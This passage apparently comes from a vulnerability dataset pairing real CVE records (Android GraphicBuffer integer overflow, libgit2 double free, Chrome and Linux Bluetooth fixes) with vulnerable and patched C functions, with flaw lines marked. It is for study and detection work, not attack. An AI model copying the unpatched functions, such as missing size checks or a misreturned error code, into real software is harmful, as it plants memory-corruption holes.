creator->document().url();\n- params.opener_security_origin =\n- creator->document().securityOrigin().toString().utf8();\n+ GURL security_url(creator->document().securityOrigin().toString().utf8());\n+ if (!security_url.is_valid())\n+ security_url = GURL();\n+ params.opener_security_origin = security_url;\n params.opener_suppressed = creator->willSuppressOpenerInNewFrame();\n params.disposition = NavigationPolicyToDisposition(policy);\n if (!request.isNull())"}
|
void RenderViewHostImpl::DidCancelPopupMenu() {
Send(new ViewMsg_SelectPopupMenuItem(GetRoutingID(), -1));
}
|
void RenderViewHostImpl::DidCancelPopupMenu() {
Send(new ViewMsg_SelectPopupMenuItem(GetRoutingID(), -1));
}
|
C
| null | null | null |
@@ -1056,8 +1056,10 @@ void RenderViewHostImpl::CreateNewWindow(
ViewHostMsg_CreateWindow_Params validated_params(params);
ChildProcessSecurityPolicyImpl* policy =
ChildProcessSecurityPolicyImpl::GetInstance();
- // TODO(cevans): also validate opener_url, opener_security_origin.
FilterURL(policy, GetProcess(), false, &validated_params.target_url);
+ FilterURL(policy, GetProcess(), false, &validated_params.opener_url);
+ FilterURL(policy, GetProcess(), true,
+ &validated_params.opener_security_origin);
delegate_->CreateNewWindow(route_id, validated_params,
session_storage_namespace);
|
Chrome
|
7f48b71cb22bb2fc9fcec2013e9eaff55381a43d
|
3c8352cdd0c90b22e7130a6949c81192804a65ba
| 0
|
void RenderViewHostImpl::DidCancelPopupMenu() {
Send(new ViewMsg_SelectPopupMenuItem(GetRoutingID(), -1));
}
|
187,396
| null |
Remote
|
Not required
|
Complete
|
CVE-2015-1474
|
https://www.cvedetails.com/cve/CVE-2015-1474/
|
CWE-189
|
Low
|
Complete
|
Complete
| null |
2015-02-15
| 10
|
Multiple integer overflows in the GraphicBuffer::unflatten function in platform/frameworks/native/libs/ui/GraphicBuffer.cpp in Android through 5.0 allow attackers to gain privileges or cause a denial of service (memory corruption) via vectors that trigger a large number of (1) file descriptors or (2) integer values.
|
2017-09-28
|
DoS Overflow +Priv Mem. Corr.
| 16
|
https://android.googlesource.com/platform/frameworks/native/+/38803268570f90e97452cd9a30ac831661829091
|
38803268570f90e97452cd9a30ac831661829091
|
Fix for corruption when numFds or numInts is too large.
Bug: 18076253
Change-Id: I4c5935440013fc755e1d123049290383f4659fb6
(cherry picked from commit dfd06b89a4b77fc75eb85a3c1c700da3621c0118)
| 1
|
libs/ui/GraphicBuffer.cpp
|
{"filename": "libs/ui/GraphicBuffer.cpp", "raw_url": "https://android.googlesource.com/platform/frameworks/native/+/38803268570f90e97452cd9a30ac831661829091/libs/ui/GraphicBuffer.cpp", "patch": "@@ -310,10 +310,19 @@\n\n const size_t numFds = buf[8];\n const size_t numInts = buf[9];\n \n+ const size_t maxNumber = UINT_MAX / sizeof(int);\n+ if (numFds >= maxNumber || numInts >= (maxNumber - 10)) {\n+ width = height = stride = format = usage = 0;\n+ handle = NULL;\n+ ALOGE(\"unflatten: numFds or numInts is too large: %d, %d\",\n+ numFds, numInts);\n+ return BAD_VALUE;\n+ }\n+\n const size_t sizeNeeded = (10 + numInts) * sizeof(int);\n if (size < sizeNeeded) return NO_MEMORY;\n \n- size_t fdCountNeeded = 0;\n+ size_t fdCountNeeded = numFds;\n if (count < fdCountNeeded) return NO_MEMORY;\n \n if (handle) {\n@@ -328,6 +337,12 @@\n\n format = buf[4];\n usage = buf[5];\n native_handle* h = native_handle_create(numFds, numInts);\n+ if (!h) {\n+ width = height = stride = format = usage = 0;\n+ handle = NULL;\n+ ALOGE(\"unflatten: native_handle_create failed\");\n+ return NO_MEMORY;\n+ }\n memcpy(h->data, fds, numFds*sizeof(int));\n memcpy(h->data + numFds, &buf[10], numInts*sizeof(int));\n handle = h;\n"}
|
status_t GraphicBuffer::unflatten(
void const*& buffer, size_t& size, int const*& fds, size_t& count) {
if (size < 8*sizeof(int)) return NO_MEMORY;
int const* buf = static_cast<int const*>(buffer);
if (buf[0] != 'GBFR') return BAD_TYPE;
const size_t numFds = buf[8];
const size_t numInts = buf[9];
const size_t maxNumber = UINT_MAX / sizeof(int);
if (numFds >= maxNumber || numInts >= (maxNumber - 10)) {
width = height = stride = format = usage = 0;
handle = NULL;
ALOGE("unflatten: numFds or numInts is too large: %d, %d",
numFds, numInts);
return BAD_VALUE;
}
const size_t sizeNeeded = (10 + numInts) * sizeof(int);
if (size < sizeNeeded) return NO_MEMORY;
size_t fdCountNeeded = numFds;
if (count < fdCountNeeded) return NO_MEMORY;
if (handle) {
free_handle();
}
if (numFds || numInts) {
width = buf[1];
height = buf[2];
stride = buf[3];
format = buf[4];
usage = buf[5];
native_handle* h = native_handle_create(numFds, numInts);
if (!h) {
width = height = stride = format = usage = 0;
handle = NULL;
ALOGE("unflatten: native_handle_create failed");
return NO_MEMORY;
}
memcpy(h->data, fds, numFds*sizeof(int));
memcpy(h->data + numFds, &buf[10], numInts*sizeof(int));
handle = h;
} else {
width = height = stride = format = usage = 0;
handle = NULL;
}
mId = static_cast<uint64_t>(buf[6]) << 32;
mId |= static_cast<uint32_t>(buf[7]);
mOwner = ownHandle;
if (handle != 0) {
status_t err = mBufferMapper.registerBuffer(handle);
if (err != NO_ERROR) {
width = height = stride = format = usage = 0;
handle = NULL;
ALOGE("unflatten: registerBuffer failed: %s (%d)",
strerror(-err), err);
return err;
}
}
buffer = reinterpret_cast<void const*>(static_cast<int const*>(buffer) + sizeNeeded);
size -= sizeNeeded;
fds += numFds;
count -= numFds;
return NO_ERROR;
}
|
status_t GraphicBuffer::unflatten(
void const*& buffer, size_t& size, int const*& fds, size_t& count) {
if (size < 8*sizeof(int)) return NO_MEMORY;
int const* buf = static_cast<int const*>(buffer);
if (buf[0] != 'GBFR') return BAD_TYPE;
const size_t numFds = buf[8];
const size_t numInts = buf[9];
const size_t sizeNeeded = (10 + numInts) * sizeof(int);
if (size < sizeNeeded) return NO_MEMORY;
size_t fdCountNeeded = 0;
if (count < fdCountNeeded) return NO_MEMORY;
if (handle) {
free_handle();
}
if (numFds || numInts) {
width = buf[1];
height = buf[2];
stride = buf[3];
format = buf[4];
usage = buf[5];
native_handle* h = native_handle_create(numFds, numInts);
memcpy(h->data, fds, numFds*sizeof(int));
memcpy(h->data + numFds, &buf[10], numInts*sizeof(int));
handle = h;
} else {
width = height = stride = format = usage = 0;
handle = NULL;
}
mId = static_cast<uint64_t>(buf[6]) << 32;
mId |= static_cast<uint32_t>(buf[7]);
mOwner = ownHandle;
if (handle != 0) {
status_t err = mBufferMapper.registerBuffer(handle);
if (err != NO_ERROR) {
width = height = stride = format = usage = 0;
handle = NULL;
ALOGE("unflatten: registerBuffer failed: %s (%d)",
strerror(-err), err);
return err;
}
}
buffer = reinterpret_cast<void const*>(static_cast<int const*>(buffer) + sizeNeeded);
size -= sizeNeeded;
fds += numFds;
count -= numFds;
return NO_ERROR;
}
|
C
|
const size_t maxNumber = UINT_MAX / sizeof(int);
if (numFds >= maxNumber || numInts >= (maxNumber - 10)) {
width = height = stride = format = usage = 0;
handle = NULL;
ALOGE("unflatten: numFds or numInts is too large: %d, %d",
numFds, numInts);
return BAD_VALUE;
}
size_t fdCountNeeded = numFds;
if (!h) {
width = height = stride = format = usage = 0;
handle = NULL;
ALOGE("unflatten: native_handle_create failed");
return NO_MEMORY;
}
|
size_t fdCountNeeded = 0;
| null |
@@ -310,10 +310,19 @@
const size_t numFds = buf[8];
const size_t numInts = buf[9];
+ const size_t maxNumber = UINT_MAX / sizeof(int);
+ if (numFds >= maxNumber || numInts >= (maxNumber - 10)) {
+ width = height = stride = format = usage = 0;
+ handle = NULL;
+ ALOGE("unflatten: numFds or numInts is too large: %d, %d",
+ numFds, numInts);
+ return BAD_VALUE;
+ }
+
const size_t sizeNeeded = (10 + numInts) * sizeof(int);
if (size < sizeNeeded) return NO_MEMORY;
- size_t fdCountNeeded = 0;
+ size_t fdCountNeeded = numFds;
if (count < fdCountNeeded) return NO_MEMORY;
if (handle) {
@@ -328,6 +337,12 @@
format = buf[4];
usage = buf[5];
native_handle* h = native_handle_create(numFds, numInts);
+ if (!h) {
+ width = height = stride = format = usage = 0;
+ handle = NULL;
+ ALOGE("unflatten: native_handle_create failed");
+ return NO_MEMORY;
+ }
memcpy(h->data, fds, numFds*sizeof(int));
memcpy(h->data + numFds, &buf[10], numInts*sizeof(int));
handle = h;
|
Android
|
https://android.googlesource.com/platform/frameworks/native/+/38803268570f90e97452cd9a30ac831661829091/
|
https://android.googlesource.com/platform/frameworks/native/+/38803268570f90e97452cd9a30ac831661829091%5E/
| 1
|
status_t GraphicBuffer::unflatten(
void const*& buffer, size_t& size, int const*& fds, size_t& count) {
if (size < 8*sizeof(int)) return NO_MEMORY;
int const* buf = static_cast<int const*>(buffer);
if (buf[0] != 'GBFR') return BAD_TYPE;
const size_t numFds = buf[8];
const size_t numInts = buf[9];
//fix_flaw_line_below:
// const size_t maxNumber = UINT_MAX / sizeof(int);
//fix_flaw_line_below:
// if (numFds >= maxNumber || numInts >= (maxNumber - 10)) {
//fix_flaw_line_below:
// width = height = stride = format = usage = 0;
//fix_flaw_line_below:
// handle = NULL;
//fix_flaw_line_below:
// ALOGE("unflatten: numFds or numInts is too large: %d, %d",
//fix_flaw_line_below:
// numFds, numInts);
//fix_flaw_line_below:
// return BAD_VALUE;
//fix_flaw_line_below:
// }
//fix_flaw_line_below:
//
const size_t sizeNeeded = (10 + numInts) * sizeof(int);
if (size < sizeNeeded) return NO_MEMORY;
//flaw_line_below:
size_t fdCountNeeded = 0;
//fix_flaw_line_below:
// size_t fdCountNeeded = numFds;
if (count < fdCountNeeded) return NO_MEMORY;
if (handle) {
// free previous handle if any
free_handle();
}
if (numFds || numInts) {
width = buf[1];
height = buf[2];
stride = buf[3];
format = buf[4];
usage = buf[5];
native_handle* h = native_handle_create(numFds, numInts);
//fix_flaw_line_below:
// if (!h) {
//fix_flaw_line_below:
// width = height = stride = format = usage = 0;
//fix_flaw_line_below:
// handle = NULL;
//fix_flaw_line_below:
// ALOGE("unflatten: native_handle_create failed");
//fix_flaw_line_below:
// return NO_MEMORY;
//fix_flaw_line_below:
// }
memcpy(h->data, fds, numFds*sizeof(int));
memcpy(h->data + numFds, &buf[10], numInts*sizeof(int));
handle = h;
} else {
width = height = stride = format = usage = 0;
handle = NULL;
}
mId = static_cast<uint64_t>(buf[6]) << 32;
mId |= static_cast<uint32_t>(buf[7]);
mOwner = ownHandle;
if (handle != 0) {
status_t err = mBufferMapper.registerBuffer(handle);
if (err != NO_ERROR) {
width = height = stride = format = usage = 0;
handle = NULL;
ALOGE("unflatten: registerBuffer failed: %s (%d)",
strerror(-err), err);
return err;
}
}
buffer = reinterpret_cast<void const*>(static_cast<int const*>(buffer) + sizeNeeded);
size -= sizeNeeded;
fds += numFds;
count -= numFds;
return NO_ERROR;
}
|
186,180
| null |
Remote
|
Not required
|
Partial
|
CVE-2016-1612
|
https://www.cvedetails.com/cve/CVE-2016-1612/
|
CWE-20
|
Medium
|
Partial
|
Partial
| null |
2016-01-25
| 6.8
|
The LoadIC::UpdateCaches function in ic/ic.cc in Google V8, as used in Google Chrome before 48.0.2564.82, does not ensure receiver compatibility before performing a cast of an unspecified variable, which allows remote attackers to cause a denial of service or possibly have unknown other impact via crafted JavaScript code.
|
2016-12-07
|
DoS
| 18
|
https://github.com/chromium/chromium/commit/94fef6e2a56ef5b3ed0dc0fd94e6ad52267067fb
|
94fef6e2a56ef5b3ed0dc0fd94e6ad52267067fb
|
Change ReadWriteLock to Lock+ConditionVariable in TaskService
There are non-trivial performance implications of using shared
SRWLocking on Windows as more state has to be checked.
Since there are only two uses of the ReadWriteLock in Chromium after
over 1 year, the decision is to remove it.
BUG=758721
Change-Id: I84d1987d7b624a89e896eb37184ee50845c39d80
Reviewed-on: https://chromium-review.googlesource.com/634423
Commit-Queue: Robert Liao <robliao@chromium.org>
Reviewed-by: Takashi Toyoshima <toyoshim@chromium.org>
Reviewed-by: Francois Doray <fdoray@chromium.org>
Cr-Commit-Position: refs/heads/master@{#497632}
| 5
|
media/midi/task_service.cc
|
{"sha": "fc1cfb7fdfc2e858f713480edb83c6638dddc0a7", "filename": "media/midi/task_service.cc", "status": "modified", "additions": 29, "deletions": 10, "changes": 39, "blob_url": "https://github.com/chromium/chromium/blob/94fef6e2a56ef5b3ed0dc0fd94e6ad52267067fb/media/midi/task_service.cc", "raw_url": "https://github.com/chromium/chromium/raw/94fef6e2a56ef5b3ed0dc0fd94e6ad52267067fb/media/midi/task_service.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/media/midi/task_service.cc?ref=94fef6e2a56ef5b3ed0dc0fd94e6ad52267067fb", "patch": "@@ -16,7 +16,10 @@ constexpr TaskService::InstanceId kInvalidInstanceId = -1;\n } // namespace\n \n TaskService::TaskService()\n- : next_instance_id_(0), bound_instance_id_(kInvalidInstanceId) {}\n+ : no_tasks_in_flight_cv_(&tasks_in_flight_lock_),\n+ tasks_in_flight_(0),\n+ next_instance_id_(0),\n+ bound_instance_id_(kInvalidInstanceId) {}\n \n TaskService::~TaskService() {\n std::vector<std::unique_ptr<base::Thread>> threads;\n@@ -51,10 +54,14 @@ bool TaskService::UnbindInstance() {\n DCHECK(default_task_runner_);\n default_task_runner_ = nullptr;\n }\n+\n // From now on RunTask will never run any task bound to the instance id.\n- // But invoked tasks might be still running here. To ensure no task run on\n- // quitting this method, take writer lock of |task_lock_|.\n- base::subtle::AutoWriteLock task_lock(task_lock_);\n+ // But invoked tasks might be still running here. To ensure no task runs on\n+ // quitting this method, wait for all tasks to complete.\n+ base::AutoLock tasks_in_flight_auto_lock(tasks_in_flight_lock_);\n+ while (tasks_in_flight_ > 0)\n+ no_tasks_in_flight_cv_.Wait();\n+\n return true;\n }\n \n@@ -139,14 +146,26 @@ scoped_refptr<base::SingleThreadTaskRunner> TaskService::GetTaskRunner(\n void TaskService::RunTask(InstanceId instance_id,\n RunnerId runner_id,\n base::OnceClosure task) {\n- base::subtle::AutoReadLock task_lock(task_lock_);\n {\n- base::AutoLock lock(lock_);\n- // If UnbindInstance() is already called, do nothing.\n- if (instance_id != bound_instance_id_)\n- return;\n+ base::AutoLock tasks_in_flight_auto_lock(tasks_in_flight_lock_);\n+ ++tasks_in_flight_;\n }\n- std::move(task).Run();\n+\n+ if (IsInstanceIdStillBound(instance_id))\n+ std::move(task).Run();\n+\n+ {\n+ base::AutoLock tasks_in_flight_auto_lock(tasks_in_flight_lock_);\n+ --tasks_in_flight_;\n+ DCHECK_GE(tasks_in_flight_, 0);\n+ if (tasks_in_flight_ == 0)\n+ no_tasks_in_flight_cv_.Signal();\n+ }\n+}\n+\n+bool TaskService::IsInstanceIdStillBound(InstanceId instance_id) {\n+ base::AutoLock lock(lock_);\n+ return instance_id == bound_instance_id_;\n }\n \n } // namespace midi"}<_**next**_>{"sha": "0424046776b6c662eba68564788942bb1ef7f497", "filename": "media/midi/task_service.h", "status": "modified", "additions": 14, "deletions": 5, "changes": 19, "blob_url": "https://github.com/chromium/chromium/blob/94fef6e2a56ef5b3ed0dc0fd94e6ad52267067fb/media/midi/task_service.h", "raw_url": "https://github.com/chromium/chromium/raw/94fef6e2a56ef5b3ed0dc0fd94e6ad52267067fb/media/midi/task_service.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/media/midi/task_service.h?ref=94fef6e2a56ef5b3ed0dc0fd94e6ad52267067fb", "patch": "@@ -9,8 +9,8 @@\n #include \"base/macros.h\"\n #include \"base/memory/ref_counted.h\"\n #include \"base/single_thread_task_runner.h\"\n+#include \"base/synchronization/condition_variable.h\"\n #include \"base/synchronization/lock.h\"\n-#include \"base/synchronization/read_write_lock.h\"\n #include \"base/threading/thread.h\"\n #include \"base/time/time.h\"\n #include \"media/midi/midi_export.h\"\n@@ -66,24 +66,33 @@ class MIDI_EXPORT TaskService final {\n RunnerId runner_id,\n base::OnceClosure task);\n \n+ // Returns true if |instance_id| is equal to |bound_instance_id_|.\n+ bool IsInstanceIdStillBound(InstanceId instance_id);\n+\n // Keeps a TaskRunner for the thread that calls BindInstance() as a default\n // task runner to run posted tasks.\n scoped_refptr<base::SingleThreadTaskRunner> default_task_runner_;\n \n // Holds threads to host SingleThreadTaskRunners.\n std::vector<std::unique_ptr<base::Thread>> threads_;\n \n- // Holds readers writer lock to ensure that tasks run only while the instance\n- // is bound. Writer lock should not be taken while |lock_| is acquired.\n- base::subtle::ReadWriteLock task_lock_;\n+ // Protects |tasks_in_flight_|.\n+ base::Lock tasks_in_flight_lock_;\n+\n+ // Signalled when the number of tasks in flight is 0 and ensures that\n+ // UnbindInstance() does not return until all tasks have completed.\n+ base::ConditionVariable no_tasks_in_flight_cv_;\n+\n+ // Number of tasks in flight.\n+ int tasks_in_flight_;\n \n // Holds InstanceId for the next bound instance.\n InstanceId next_instance_id_;\n \n // Holds InstanceId for the current bound instance.\n InstanceId bound_instance_id_;\n \n- // Protects all members other than |task_lock_|.\n+ // Protects all members other than |tasks_in_flight_|.\n base::Lock lock_;\n \n DISALLOW_COPY_AND_ASSIGN(TaskService);"}
|
void TaskService::RunTask(InstanceId instance_id,
RunnerId runner_id,
base::OnceClosure task) {
{
base::AutoLock tasks_in_flight_auto_lock(tasks_in_flight_lock_);
++tasks_in_flight_;
}
if (IsInstanceIdStillBound(instance_id))
std::move(task).Run();
{
base::AutoLock tasks_in_flight_auto_lock(tasks_in_flight_lock_);
--tasks_in_flight_;
DCHECK_GE(tasks_in_flight_, 0);
if (tasks_in_flight_ == 0)
no_tasks_in_flight_cv_.Signal();
}
}
bool TaskService::IsInstanceIdStillBound(InstanceId instance_id) {
base::AutoLock lock(lock_);
return instance_id == bound_instance_id_;
}
|
void TaskService::RunTask(InstanceId instance_id,
RunnerId runner_id,
base::OnceClosure task) {
base::subtle::AutoReadLock task_lock(task_lock_);
{
base::AutoLock lock(lock_);
if (instance_id != bound_instance_id_)
return;
}
std::move(task).Run();
}
|
C
|
base::AutoLock tasks_in_flight_auto_lock(tasks_in_flight_lock_);
++tasks_in_flight_;
if (IsInstanceIdStillBound(instance_id))
std::move(task).Run();
{
base::AutoLock tasks_in_flight_auto_lock(tasks_in_flight_lock_);
--tasks_in_flight_;
DCHECK_GE(tasks_in_flight_, 0);
if (tasks_in_flight_ == 0)
no_tasks_in_flight_cv_.Signal();
}
}
bool TaskService::IsInstanceIdStillBound(InstanceId instance_id) {
base::AutoLock lock(lock_);
return instance_id == bound_instance_id_;
|
base::subtle::AutoReadLock task_lock(task_lock_);
base::AutoLock lock(lock_);
if (instance_id != bound_instance_id_)
return;
std::move(task).Run();
| null |
@@ -16,7 +16,10 @@ constexpr TaskService::InstanceId kInvalidInstanceId = -1;
} // namespace
TaskService::TaskService()
- : next_instance_id_(0), bound_instance_id_(kInvalidInstanceId) {}
+ : no_tasks_in_flight_cv_(&tasks_in_flight_lock_),
+ tasks_in_flight_(0),
+ next_instance_id_(0),
+ bound_instance_id_(kInvalidInstanceId) {}
TaskService::~TaskService() {
std::vector<std::unique_ptr<base::Thread>> threads;
@@ -51,10 +54,14 @@ bool TaskService::UnbindInstance() {
DCHECK(default_task_runner_);
default_task_runner_ = nullptr;
}
+
// From now on RunTask will never run any task bound to the instance id.
- // But invoked tasks might be still running here. To ensure no task run on
- // quitting this method, take writer lock of |task_lock_|.
- base::subtle::AutoWriteLock task_lock(task_lock_);
+ // But invoked tasks might be still running here. To ensure no task runs on
+ // quitting this method, wait for all tasks to complete.
+ base::AutoLock tasks_in_flight_auto_lock(tasks_in_flight_lock_);
+ while (tasks_in_flight_ > 0)
+ no_tasks_in_flight_cv_.Wait();
+
return true;
}
@@ -139,14 +146,26 @@ scoped_refptr<base::SingleThreadTaskRunner> TaskService::GetTaskRunner(
void TaskService::RunTask(InstanceId instance_id,
RunnerId runner_id,
base::OnceClosure task) {
- base::subtle::AutoReadLock task_lock(task_lock_);
{
- base::AutoLock lock(lock_);
- // If UnbindInstance() is already called, do nothing.
- if (instance_id != bound_instance_id_)
- return;
+ base::AutoLock tasks_in_flight_auto_lock(tasks_in_flight_lock_);
+ ++tasks_in_flight_;
}
- std::move(task).Run();
+
+ if (IsInstanceIdStillBound(instance_id))
+ std::move(task).Run();
+
+ {
+ base::AutoLock tasks_in_flight_auto_lock(tasks_in_flight_lock_);
+ --tasks_in_flight_;
+ DCHECK_GE(tasks_in_flight_, 0);
+ if (tasks_in_flight_ == 0)
+ no_tasks_in_flight_cv_.Signal();
+ }
+}
+
+bool TaskService::IsInstanceIdStillBound(InstanceId instance_id) {
+ base::AutoLock lock(lock_);
+ return instance_id == bound_instance_id_;
}
} // namespace midi
|
Chrome
|
94fef6e2a56ef5b3ed0dc0fd94e6ad52267067fb
|
06d5588e6c9bfa022f61edefe7563c2c6bea9aa9
| 1
|
void TaskService::RunTask(InstanceId instance_id,
RunnerId runner_id,
base::OnceClosure task) {
//flaw_line_below:
base::subtle::AutoReadLock task_lock(task_lock_);
{
//flaw_line_below:
base::AutoLock lock(lock_);
//flaw_line_below:
// If UnbindInstance() is already called, do nothing.
//flaw_line_below:
if (instance_id != bound_instance_id_)
//flaw_line_below:
return;
//fix_flaw_line_below:
// base::AutoLock tasks_in_flight_auto_lock(tasks_in_flight_lock_);
//fix_flaw_line_below:
// ++tasks_in_flight_;
}
//flaw_line_below:
std::move(task).Run();
//fix_flaw_line_below:
//
//fix_flaw_line_below:
// if (IsInstanceIdStillBound(instance_id))
//fix_flaw_line_below:
// std::move(task).Run();
//fix_flaw_line_below:
//
//fix_flaw_line_below:
// {
//fix_flaw_line_below:
// base::AutoLock tasks_in_flight_auto_lock(tasks_in_flight_lock_);
//fix_flaw_line_below:
// --tasks_in_flight_;
//fix_flaw_line_below:
// DCHECK_GE(tasks_in_flight_, 0);
//fix_flaw_line_below:
// if (tasks_in_flight_ == 0)
//fix_flaw_line_below:
// no_tasks_in_flight_cv_.Signal();
//fix_flaw_line_below:
// }
//fix_flaw_line_below:
//}
//fix_flaw_line_below:
//
//fix_flaw_line_below:
//bool TaskService::IsInstanceIdStillBound(InstanceId instance_id) {
//fix_flaw_line_below:
// base::AutoLock lock(lock_);
//fix_flaw_line_below:
// return instance_id == bound_instance_id_;
}
|
83,696
| null |
Remote
|
Not required
|
Partial
|
CVE-2018-8099
|
https://www.cvedetails.com/cve/CVE-2018-8099/
|
CWE-415
|
Medium
| null | null | null |
2018-03-13
| 4.3
|
Incorrect returning of an error code in the index.c:read_entry() function leads to a double free in libgit2 before v0.26.2, which allows an attacker to cause a denial of service via a crafted repository index file.
|
2018-04-13
|
DoS
| 0
|
https://github.com/libgit2/libgit2/commit/58a6fe94cb851f71214dbefac3f9bffee437d6fe
|
58a6fe94cb851f71214dbefac3f9bffee437d6fe
|
index: convert `read_entry` to return entry size via an out-param
The function `read_entry` does not conform to our usual coding style of
returning stuff via the out parameter and to use the return value for
reporting errors. Due to most of our code conforming to that pattern, it
has become quite natural for us to actually return `-1` in case there is
any error, which has also slipped in with commit 5625d86b9 (index:
support index v4, 2016-05-17). As the function returns an `size_t` only,
though, the return value is wrapped around, causing the caller of
`read_tree` to continue with an invalid index entry. Ultimately, this
can lead to a double-free.
Improve code and fix the bug by converting the function to return the
index entry size via an out parameter and only using the return value to
indicate errors.
Reported-by: Krishna Ram Prakash R <krp@gtux.in>
Reported-by: Vivek Parikh <viv0411.parikh@gmail.com>
| 0
|
src/index.c
|
{"sha": "3ef892b7f170b1fdad356de32061652d7f97c48a", "filename": "src/index.c", "status": "modified", "additions": 13, "deletions": 9, "changes": 22, "blob_url": "https://github.com/libgit2/libgit2/blob/58a6fe94cb851f71214dbefac3f9bffee437d6fe/src/index.c", "raw_url": "https://github.com/libgit2/libgit2/raw/58a6fe94cb851f71214dbefac3f9bffee437d6fe/src/index.c", "contents_url": "https://api.github.com/repos/libgit2/libgit2/contents/src/index.c?ref=58a6fe94cb851f71214dbefac3f9bffee437d6fe", "patch": "@@ -2299,8 +2299,9 @@ static size_t index_entry_size(size_t path_len, size_t varint_len, uint32_t flag\n \t}\n }\n \n-static size_t read_entry(\n+static int read_entry(\n \tgit_index_entry **out,\n+\tsize_t *out_size,\n \tgit_index *index,\n \tconst void *buffer,\n \tsize_t buffer_size,\n@@ -2314,7 +2315,7 @@ static size_t read_entry(\n \tchar *tmp_path = NULL;\n \n \tif (INDEX_FOOTER_SIZE + minimal_entry_size > buffer_size)\n-\t\treturn 0;\n+\t\treturn -1;\n \n \t/* buffer is not guaranteed to be aligned */\n \tmemcpy(&source, buffer, sizeof(struct entry_short));\n@@ -2356,7 +2357,7 @@ static size_t read_entry(\n \n \t\t\tpath_end = memchr(path_ptr, '\\0', buffer_size);\n \t\t\tif (path_end == NULL)\n-\t\t\t\treturn 0;\n+\t\t\t\treturn -1;\n \n \t\t\tpath_length = path_end - path_ptr;\n \t\t}\n@@ -2386,16 +2387,20 @@ static size_t read_entry(\n \t\tentry.path = tmp_path;\n \t}\n \n+\tif (entry_size == 0)\n+\t\treturn -1;\n+\n \tif (INDEX_FOOTER_SIZE + entry_size > buffer_size)\n-\t\treturn 0;\n+\t\treturn -1;\n \n \tif (index_entry_dup(out, index, &entry) < 0) {\n \t\tgit__free(tmp_path);\n-\t\treturn 0;\n+\t\treturn -1;\n \t}\n \n \tgit__free(tmp_path);\n-\treturn entry_size;\n+\t*out_size = entry_size;\n+\treturn 0;\n }\n \n static int read_header(struct index_header *dest, const void *buffer)\n@@ -2499,10 +2504,9 @@ static int parse_index(git_index *index, const char *buffer, size_t buffer_size)\n \t/* Parse all the entries */\n \tfor (i = 0; i < header.entry_count && buffer_size > INDEX_FOOTER_SIZE; ++i) {\n \t\tgit_index_entry *entry = NULL;\n-\t\tsize_t entry_size = read_entry(&entry, index, buffer, buffer_size, last);\n+\t\tsize_t entry_size;\n \n-\t\t/* 0 bytes read means an object corruption */\n-\t\tif (entry_size == 0) {\n+\t\tif ((error = read_entry(&entry, &entry_size, index, buffer, buffer_size, last)) < 0) {\n \t\t\terror = index_error_invalid(\"invalid entry\");\n \t\t\tgoto done;\n \t\t}"}
|
int git_index_reuc_add(git_index *index, const char *path,
int ancestor_mode, const git_oid *ancestor_oid,
int our_mode, const git_oid *our_oid,
int their_mode, const git_oid *their_oid)
{
git_index_reuc_entry *reuc = NULL;
int error = 0;
assert(index && path);
if ((error = index_entry_reuc_init(&reuc, path, ancestor_mode,
ancestor_oid, our_mode, our_oid, their_mode, their_oid)) < 0 ||
(error = index_reuc_insert(index, reuc)) < 0)
index_entry_reuc_free(reuc);
return error;
}
|
int git_index_reuc_add(git_index *index, const char *path,
int ancestor_mode, const git_oid *ancestor_oid,
int our_mode, const git_oid *our_oid,
int their_mode, const git_oid *their_oid)
{
git_index_reuc_entry *reuc = NULL;
int error = 0;
assert(index && path);
if ((error = index_entry_reuc_init(&reuc, path, ancestor_mode,
ancestor_oid, our_mode, our_oid, their_mode, their_oid)) < 0 ||
(error = index_reuc_insert(index, reuc)) < 0)
index_entry_reuc_free(reuc);
return error;
}
|
C
| null | null | null |
@@ -2299,8 +2299,9 @@ static size_t index_entry_size(size_t path_len, size_t varint_len, uint32_t flag
}
}
-static size_t read_entry(
+static int read_entry(
git_index_entry **out,
+ size_t *out_size,
git_index *index,
const void *buffer,
size_t buffer_size,
@@ -2314,7 +2315,7 @@ static size_t read_entry(
char *tmp_path = NULL;
if (INDEX_FOOTER_SIZE + minimal_entry_size > buffer_size)
- return 0;
+ return -1;
/* buffer is not guaranteed to be aligned */
memcpy(&source, buffer, sizeof(struct entry_short));
@@ -2356,7 +2357,7 @@ static size_t read_entry(
path_end = memchr(path_ptr, '\0', buffer_size);
if (path_end == NULL)
- return 0;
+ return -1;
path_length = path_end - path_ptr;
}
@@ -2386,16 +2387,20 @@ static size_t read_entry(
entry.path = tmp_path;
}
+ if (entry_size == 0)
+ return -1;
+
if (INDEX_FOOTER_SIZE + entry_size > buffer_size)
- return 0;
+ return -1;
if (index_entry_dup(out, index, &entry) < 0) {
git__free(tmp_path);
- return 0;
+ return -1;
}
git__free(tmp_path);
- return entry_size;
+ *out_size = entry_size;
+ return 0;
}
static int read_header(struct index_header *dest, const void *buffer)
@@ -2499,10 +2504,9 @@ static int parse_index(git_index *index, const char *buffer, size_t buffer_size)
/* Parse all the entries */
for (i = 0; i < header.entry_count && buffer_size > INDEX_FOOTER_SIZE; ++i) {
git_index_entry *entry = NULL;
- size_t entry_size = read_entry(&entry, index, buffer, buffer_size, last);
+ size_t entry_size;
- /* 0 bytes read means an object corruption */
- if (entry_size == 0) {
+ if ((error = read_entry(&entry, &entry_size, index, buffer, buffer_size, last)) < 0) {
error = index_error_invalid("invalid entry");
goto done;
}
|
libgit2
|
58a6fe94cb851f71214dbefac3f9bffee437d6fe
|
d11c4a1a464f10c69d5cc58824e980ea5045d439
| 0
|
int git_index_reuc_add(git_index *index, const char *path,
int ancestor_mode, const git_oid *ancestor_oid,
int our_mode, const git_oid *our_oid,
int their_mode, const git_oid *their_oid)
{
git_index_reuc_entry *reuc = NULL;
int error = 0;
assert(index && path);
if ((error = index_entry_reuc_init(&reuc, path, ancestor_mode,
ancestor_oid, our_mode, our_oid, their_mode, their_oid)) < 0 ||
(error = index_reuc_insert(index, reuc)) < 0)
index_entry_reuc_free(reuc);
return error;
}
|
183,071
| null |
Local
|
Not required
| null |
CVE-2012-6544
|
https://www.cvedetails.com/cve/CVE-2012-6544/
|
CWE-200
|
Medium
|
Partial
| null | null |
2013-03-15
| 1.9
|
The Bluetooth protocol stack in the Linux kernel before 3.6 does not properly initialize certain structures, which allows local users to obtain sensitive information from kernel stack memory via a crafted application that targets the (1) L2CAP or (2) HCI implementation.
|
2019-04-22
|
+Info
| 1
|
https://github.com/torvalds/linux/commit/792039c73cf176c8e39a6e8beef2c94ff46522ed
|
